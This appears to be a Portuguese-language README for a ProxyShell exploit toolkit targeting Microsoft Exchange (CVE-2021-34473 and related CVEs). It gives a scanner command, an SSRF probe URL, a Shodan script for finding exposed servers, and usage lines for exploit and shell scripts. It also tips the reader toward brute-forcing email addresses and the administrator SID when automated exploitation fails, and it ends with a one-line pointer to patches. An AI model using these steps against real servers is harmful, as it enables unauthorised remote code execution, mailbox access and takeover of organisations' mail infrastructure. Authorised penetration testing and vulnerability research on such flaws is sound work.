ProxyShell (CVE-2021-34473)

CVE-2021-34473 Vulnerabilidade de Execução Remota de Código no Microsoft Exchange Server. Essa normalização de URL defeituosa nos permite acessar uma URL de backend arbitrária enquanto executamos como a conta de máquina do Exchange Server. Embora este bug não seja tão poderoso quanto o SSRF do ProxyLogon, e só possamos manipular a parte do caminho da URL, ainda é poderoso o suficiente para realizarmos mais ataques com acesso arbitrário ao backend.

CVE-2021-34523 - Elevação de Privilégio no Backend do PowerShell do Exchange
CVE-2021-31207 - Escrita Arbitrária de Arquivo Pós-autenticação

Scanner

Scanner nuclei para Proxyshell RCE (CVE-2021-34423,CVE-2021-34473,CVE-2021-31207) descoberto por orange tsai no Pwn2Own, que afeta o Microsoft Exchange Server.

nuclei -u target.com -t proxyshell.yaml

https://xxx.xxx.xxx.xxx/autodiscover/[email protected]/mapi/nspi/?&Email=autodiscover/autodiscover.json%[email protected]

shodan target

sudo python3 shodan-query.py

Usage

sudo python3 ProxyShell.py -u https://<IP>

Features

Nenhum endereço de e-mail precisa ser fornecido
Tenta enumerar e-mails do Active Directory
Tenta enumerar LegacyDNs do Active Directory
Tenta descobrir LegacyDNs de e-mails internos
Tenta descobrir o SID do servidor Exchange em implantações com balanceamento de carga
Lida com exploração em ambientes com balanceamento de carga

manual pentest

 python2 /manual/check.py 
 sudo python3 /manual/proxyshell.py
 python2 /manual/shell.py

Tips:

reconhecer o alvo para encontrar um endereço de e-mail válido
se você não encontrar nenhum e-mail, use força bruta no alvo com seu arquivo de e-mails.
em alguns alvos, a exploração automatizada não funciona, você deve usar força bruta no SID e substituir em SID=500

Mitigations

Aplique as atualizações de segurança encontradas aqui: CVE-2021-34473

ProxyShell

Mais Populares